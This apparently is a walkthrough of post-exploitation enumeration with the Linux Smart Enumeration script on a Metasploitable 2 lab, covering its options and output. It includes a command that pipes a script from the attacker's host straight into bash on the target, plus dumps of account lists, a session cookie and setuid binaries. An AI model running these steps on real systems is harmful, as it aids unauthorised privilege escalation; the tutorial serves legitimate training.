How To: Use Linux Smart Enumeration to Discover Paths to Privesc

Use Linux Smart Enumeration to Discover Paths to Privesc

Privilege escalation is the technique used to exploit certain flaws to obtain elevated permissions relative to the current user. There are a vast number of methods out there to go from user to root on Linux, and keeping track of them all can be difficult. This is where automation comes into play, and a privilege escalation script called Linux Smart Enumeration is one to take advantage of.

LSE vs LinEnum

Linux Smart Enumeration sets itself apart from other privilege escalation scripts because of the features it has. One of the most significant differences between it and other scripts like LinEnum is the ability to display more information about the target gradually. LSE has three verbosity levels that will show more details depending on what level is run.

Another fantastic feature of LSE is the process monitor. At the end of the script, it will determine what processes are running on the host as both root and non-root users. This makes it easy to see what's going on behind the scenes. LSE also has a few more options to control how it runs, something lacking in other privesc scripts.

Step 1: Transfer to Target

We'll assume that we already have a fully upgraded low-level user shell on the target. We'll also assume that the target has limited access to the internet, so we'll need to transfer files from our local machine to the target manually. To practice, we're using Metasploitable 2 as our target and Kali Linux as our local machine.

First, on our local machine, grab the LSE script from GitHub.

~$ wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh

--2020-09-02 11:55:07--  https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
Resolving github.com (github.com)... 140.82.113.4
Connecting to github.com (github.com)|140.82.113.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [following]
--2020-09-02 11:55:07--  https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 199.232.28.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|199.232.28.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37926 (37K) [text/plain]
Saving to: ‘lse.sh’

lse.sh                                                      100%[========================================================================================================================================>]  37.04K  --.-KB/s    in 0.03s

2020-09-02 11:55:07 (1.25 MB/s) - ‘lse.sh’ saved [37926/37926]

Next, spin up a basic HTTP server with Python. We'll use this to serve the file and download it onto the target.

~$ python3 -m http.server

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Now, on the target machine, we need to grab the file. A neat way to do this is to use curl and pipe the script directly to Bash. That way, we never even touch the disk:

~/target$ curl 10.10.0.1:8000/lse.sh | bash

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 37926  100 37926    0     0   130k      0 --:--:-- --:--:-- --:--:--  138k
---
If you know the current user password, write it here to check sudo privileges: ---
==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. yes!

...

This will run LSE as soon as the curl request completes. The downside of this is that we can't give the script any arguments. Let's use wget to transfer the script and store it in our current working directory.

~/target$ wget 10.10.0.1:8000/lse.sh

--14:18:26--  http://10.10.0.1:8000/lse.sh
           => `lse.sh'
Connecting to 10.10.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 37,926 (37K) [text/x-sh]

100%[=================================================================================================================================================================================================>] 37,926        --.--K/s

14:18:26 (147.37 MB/s) - `lse.sh' saved [37926/37926]

Next, use chmod to make it executable.

~/target$ chmod +x lse.sh

We can confirm that LSE is now executable.

~/target$ ls -la

total 40
drwxrwxrwt  2 root     root        60 Jun 19 14:18 .
drwxr-xr-x 13 root     root     13480 Jun 19 13:21 ..
-rwxr-xr-x  1 www-data www-data 37926 Sep 02  2020 lse.sh

Now we can run the script with the dot-slash command.

~/target$ ./lse.sh -h

Use: ./lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurrent tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)

Or simply use the bash command.

~/target$ bash lse.sh -h

Use: lse.sh [options]

 OPTIONS
  -c           Disable color
  -i           Non interactive mode
  -h           This help
  -l LEVEL     Output verbosity level
                 0: Show highly important results. (default)
                 1: Show interesting results.
                 2: Show all gathered information.
  -s SELECTION Comma separated list of sections or tests to run. Available
               sections:
                 usr: User related tests.
                 sud: Sudo related tests.
                 fst: File system related tests.
                 sys: System related tests.
                 sec: Security measures related tests.
                 ret: Recurrent tasks (cron, timers) related tests.
                 net: Network related tests.
                 srv: Services related tests.
                 pro: Processes related tests.
                 sof: Software related tests.
                 ctn: Container (docker, lxc) related tests.
               Specific tests can be used with their IDs (i.e.: usr020,sud)
  -e PATHS     Comma separated list of paths to exclude. This allows you
               to do faster scans at the cost of completeness
  -p SECONDS   Time that the process monitor will spend watching for
               processes. A value of 0 will disable any watch (default: 60)

Step 2: Basic Usage Options

The most basic way to run LSE is without any options. This will be verbosity level 0 by default. But it also has the ability to run selected tests instead of all of them at once. Let's say we wanted to only run tests related to user and sudo — use the -s flag to specify a comma-separated list.

~/target$ bash lse.sh -s usr,sud

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
[*] usr030 Other users with shell.......................................... yes!
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. yes!
---
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]
            {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...
---
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!

==================================( FINISHED )==================================

We can also increase the amount of information displayed to us by increasing the verbosity. The default level is 0, but we can use the -l switch to specify level 1.

~/target$ bash lse.sh -s usr,sud -l 1

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash
---
[i] usr040 Environment information......................................... skip
[i] usr050 Groups for other users.......................................... skip
[i] usr060 Other users..................................................... skip
[*] usr070 PATH variables defined inside /etc.............................. yes!
---
/bin
/etc
/lib/init
/sbin
/usr/bin
/usr/games
/usr/local/bin
/usr/local/sbin
/usr/sbin
---
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. yes!
---
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]
            {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...
---
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!
---
msfadmin
---

==================================( FINISHED )==================================

If we wanted even more information, we could use verbosity level 2.

~/target$ bash lse.sh -s usr,sud -l 2

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
---
www-data
---
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash
---
[i] usr040 Environment information......................................... yes!
---
SERVER_SIGNATURE=<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.10.0.50 Port 80</address>

ORIG_PATH_TRANSLATED=/var/www/dvwa/vulnerabilities/exec/index.php
TERM=xterm
HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
SERVER_PORT=80
HTTP_HOST=10.10.0.50
REDIRECT_HANDLER=php5-cgi
DOCUMENT_ROOT=/var/www/
SCRIPT_FILENAME=/var/www/dvwa/vulnerabilities/exec/index.php
REQUEST_URI=/dvwa/vulnerabilities/exec/
SCRIPT_NAME=/dvwa/vulnerabilities/exec/index.php
HTTP_CONNECTION=keep-alive
REMOTE_PORT=42428
ORIG_SCRIPT_FILENAME=/usr/lib/cgi-bin/php
PATH=/usr/local/bin:/usr/bin:/bin:/sbin:/usr/sbin
PWD=/dev/shm
SERVER_ADMIN=webmaster@localhost
REDIRECT_STATUS=200
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5
HTTP_REFERER=http://10.10.0.50/dvwa/vulnerabilities/exec/
ORIG_SCRIPT_NAME=/cgi-bin/php
HTTP_DNT=1
HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
REMOTE_ADDR=10.10.0.1
SHLVL=5
SERVER_NAME=10.10.0.50
CONTENT_LENGTH=68
SERVER_SOFTWARE=Apache/2.2.8 (Ubuntu) DAV/2
QUERY_STRING=
SERVER_ADDR=10.10.0.50
GATEWAY_INTERFACE=CGI/1.1
HTTP_UPGRADE_INSECURE_REQUESTS=1
SERVER_PROTOCOL=HTTP/1.1
HTTP_ACCEPT_ENCODING=gzip, deflate
REDIRECT_URL=/dvwa/vulnerabilities/exec/index.php
CONTENT_TYPE=application/x-www-form-urlencoded
REQUEST_METHOD=POST
HTTP_COOKIE=security=low; PHPSESSID=d07703e69aa3c6b1b8948578468e58bd
ORIG_PATH_INFO=/dvwa/vulnerabilities/exec/index.php
_=/usr/bin/env
---
[i] usr050 Groups for other users.......................................... yes!
---
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:msfadmin
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:msfadmin
fax:x:21:
voice:x:22:
cdrom:x:24:msfadmin
floppy:x:25:msfadmin
tape:x:26:
sudo:x:27:nullbyte
audio:x:29:msfadmin
dip:x:30:msfadmin
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:telnetd
video:x:44:msfadmin
sasl:x:45:
plugdev:x:46:msfadmin
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
libuuid:x:101:
dhcp:x:102:
syslog:x:103:
klog:x:104:
scanner:x:105:
nvram:x:106:
fuse:x:107:msfadmin
crontab:x:108:
mlocate:x:109:
ssh:x:110:
msfadmin:x:1000:
lpadmin:x:111:msfadmin
admin:x:112:msfadmin
bind:x:113:
ssl-cert:x:114:postgres
postfix:x:115:
postdrop:x:116:
postgres:x:117:
mysql:x:118:
sambashare:x:119:msfadmin
user:x:1001:
service:x:1002:
telnetd:x:120:
nullbyte:x:1003:
---
[i] usr060 Other users..................................................... yes!
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash
---
[*] usr070 PATH variables defined inside /etc.............................. yes!
---
/bin
/etc
/lib/init
/sbin
/usr/bin
/usr/games
/usr/local/bin
/usr/local/sbin
/usr/sbin
---
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. yes!
---
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]
            {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...
---
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!
---
msfadmin
---

==================================( FINISHED )==================================

One of the best features of LSE is the process monitor. At the end of the script it will monitor running processes for one minute and report the results when it finishes.

~/target$ bash lse.sh -l 1

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!

...

==============================================================( processes )=====
[i] pro000 Waiting for the process monitor to finish....................... yes!
[i] pro001 Retrieving process binaries..................................... yes!
[i] pro002 Retrieving process users........................................ yes!
[!] pro010 Can we write in any process binary?............................. nope
[*] pro020 Processes running with root permissions......................... yes!
---
START      PID     USER COMMAND
---
[*] pro030 Processes running by non-root users with shell.................. yes!
---

------ www-data ------

START      PID     USER COMMAND
14:32    15782 www-data sleep 1
14:32    15753 www-data sleep 1
14:32    15726 www-data sleep 1
14:32    15697 www-data sleep 1
14:32    15672 www-data sleep 1
14:32    15647 www-data sleep 1
14:32    15622 www-data sleep 1
14:32    15596 www-data sleep 1
14:32    15568 www-data sleep 1
14:32    15540 www-data sleep 1
14:32    15513 www-data sleep 1
14:32    15486 www-data sleep 1
14:32    15461 www-data sleep 1
14:32    15430 www-data sleep 1
14:32    15401 www-data sleep 1
14:32    15372 www-data sleep 1
14:32    15343 www-data sleep 1
14:32    15315 www-data sleep 1
14:32    15313 www-data bash lse.sh -l 1
14:32    15307 www-data /bin/sh /usr/bin/groups
14:32    15306 www-data bash lse.sh -l 1
14:32    15300 www-data bash lse.sh -l 1
14:32    15265 www-data find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /run -prune -o -name *dockerenv* -exec ls -la {} ;
14:32    15263 www-data bash lse.sh -l 1
14:32    15217 www-data find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /run -prune -o -name *.htpasswd -print -exec cat {} ;
14:32    15216 www-data bash lse.sh -l 1
14:32    15209 www-data /usr/sbin/apache2 -M
14:32    15205 www-data /bin/sh /usr/sbin/apache2ctl -M
14:32    15204 www-data bash lse.sh -l 1
14:32    15195 www-data grep version
14:32    15194 www-data /usr/lib/postgresql/8.3/bin/psql -U pgsql template1 -c select version()
14:32    15194 www-data /usr/bin/perl -w /usr/bin/psql -U pgsql template1 -c select version()
14:32    15193 www-data bash lse.sh -l 1
14:32    15184 www-data grep version
14:32    15183 www-data /usr/lib/postgresql/8.3/bin/psql -U pgsql template0 -c select version()
14:32    15183 www-data /usr/bin/perl -w /usr/bin/psql -U pgsql template0 -c select version()
14:32    15182 www-data bash lse.sh -l 1
14:32    15175 www-data grep version
14:32    15174 www-data /usr/bin/perl -w /usr/bin/psql -U postgres template1 -c select version()
14:32    15171 www-data bash lse.sh -l 1
14:32    15164 www-data grep version
14:32    15163 www-data /usr/bin/perl -w /usr/bin/psql -U postgres template0 -c select version()
14:32    15162 www-data bash lse.sh -l 1
14:32    15157 www-data bash lse.sh -l 1
14:32    15153 www-data mysqladmin -uroot version
14:32    15152 www-data bash lse.sh -l 1
14:32    15107 www-data bash lse.sh -l 1
14:31    15069 www-data sleep 0.2
14:31    15068 www-data grep -i listening on lo
14:31    15066 www-data bash lse.sh -l 1
14:31    15065 www-data bash lse.sh -l 1
14:31    15057 www-data grep 127.0.0.1:
14:31    15056 www-data ss -tunlp
14:31    15055 www-data bash lse.sh -l 1
14:31    15054 www-data bash lse.sh -l 1
14:31    15033 www-data bash lse.sh -l 1
14:31    15015 www-data crontab -l -u user
14:31    14968 www-data bash lse.sh -l 1
14:31    14882 www-data bash lse.sh -l 1
14:31    14873 www-data id -u ftp
14:31    14872 www-data bash lse.sh -l 1
14:31    14804 www-data grep -v root
14:31    14802 www-data bash lse.sh -l 1
14:31    14801 www-data bash lse.sh -l 1
14:31    14734 www-data find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /run -prune -o ( -name .git -o -name .svn ) -print
14:31    14733 www-data bash lse.sh -l 1
14:31    14699 www-data /bin/sh /usr/bin/which curl
14:31    14698 www-data bash lse.sh -l 1
14:31    14690 www-data find /var/www ( -name *id_dsa* -o -name *id_rsa* -o -name *id_ecdsa* -o -name *id_ed25519* -o -name known_hosts -o -name authorized_hosts -o -name authorized_keys ) -exec ls -la {} ;
14:31    14645 www-data bash lse.sh -l 1
14:31    14634 www-data bash lse.sh -l 1
14:31    14629 www-data bash lse.sh -l 1
14:31    14499 www-data bash lse.sh -l 1
14:31    14447 www-data bash lse.sh -l 1
14:31    14436 www-data bash lse.sh -l 1
14:31    14417 www-data bash lse.sh -l 1
14:31    14357 www-data bash lse.sh -l 1
14:31    14323 www-data bash lse.sh -l 1
14:31    14293 www-data find / -path /proc -prune -o -path /sys -prune -o -path /dev -prune -o -path /run -prune -o -perm -4000 -type f -print
14:31    14292 www-data bash lse.sh -l 1
14:31    14274 www-data find / -path /var/www -prune -o -path /proc -prune -o -path /sy
---
[i] pro500 Running processes............................................... skip
[i] pro510 Running process binaries and permissions........................ skip

==================================( FINISHED )==================================

We can also specify how long we want the process monitor to run with the -p flag. For example, to run for two minutes.

~/target$ bash lse.sh -l 1 -p 120

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!

...

Or we can disable the process monitor entirely by passing a value of zero seconds.

~/target$ bash lse.sh -l 1 -p 0

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!

...

Another handy feature is the ability to exclude certain paths from our tests. This is useful for quick scans or if we want to narrow down our scope. Use the -e flag followed by the paths to exclude.

~/target$ bash lse.sh -l 1 -e /usr,/tmp,/sbin

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

==================================================================( users )=====
[i] usr000 Current user groups............................................. yes!
[*] usr010 Is current user in an administrative group?..................... nope
[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!

...

Step 3: Analyze Results

Now let's take a look at the full results and some of the important sections that pertain to privilege escalation.

The first step will ask for the current user's password (if it is known) to determine sudo privileges. Next, there is some user information and the contents of the path environmental variable. After that is some information about the server itself.

~/target$ bash lse.sh -l 1

---
If you know the current user password, write it here to check sudo privileges:
---

 LSE Version: 2.5

        User: www-data
     User ID: 33
    Password: none
        Home: /var/www
        Path: /usr/local/bin:/usr/bin:/bin
       umask: 0022

    Hostname: metasploitable
       Linux: 2.6.24-16-server
Distribution: Ubuntu 8.04
Architecture: i686

The next section checks for other users that are part of an administrative group. It also gives us any other users that have a shell, part of the /etc/passwd file.

[*] usr020 Are there other users in an administrative groups?.............. yes!
---
adm:x:4:msfadmin
sudo:x:27:nullbyte
admin:x:112:msfadmin
---
[*] usr030 Other users with shell.......................................... yes!
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
nullbyte:x:1003:1003:,,,:/home/nullbyte:/bin/bash

Next, some more information about the path and whether any other users have used sudo on the box.

[*] usr070 PATH variables defined inside /etc.............................. yes!
---
/bin
/etc
/lib/init
/sbin
/usr/bin
/usr/games
/usr/local/bin
/usr/local/sbin
/usr/sbin
---
[!] usr080 Is '.' in a PATH variable defined inside /etc?.................. nope
===================================================================( sudo )=====
[!] sud000 Can we sudo without a password?................................. yes!
---
usage: sudo -h | -K | -k | -L | -l | -V | -v
usage: sudo [-bEHPS] [-p prompt] [-u username|#uid] [VAR=value]
            {-i | -s | <command>}
usage: sudo -e [-S] [-p prompt] [-u username|#uid] file ...
---
[*] sud040 Can we read /etc/sudoers?....................................... nope
[*] sud050 Do we know if any other users used sudo?........................ yes!

Scrolling down a bit, the next section covers any writable files outside the home directory. It also displays any binaries with the setuid bit, including uncommon setuid binaries. These can often be an easy win for privesc.

[*] fst000 Writable files outside user's home.............................. nope
[*] fst010 Binaries with setuid bit........................................ yes!
---
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
---
[!] fst020 Uncommon setuid binaries........................................ yes!
---
/lib/dhcp3-client/call-dhclient-script
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/netkit-rlogin
/usr/bin/nmap
/usr/bin/netkit-rcp
/usr/lib/telnetlogin
/usr/lib/apache2/suexec

The next section sees if we can read the root directory, any subdirectories under home, and whether there are any SSH files present.

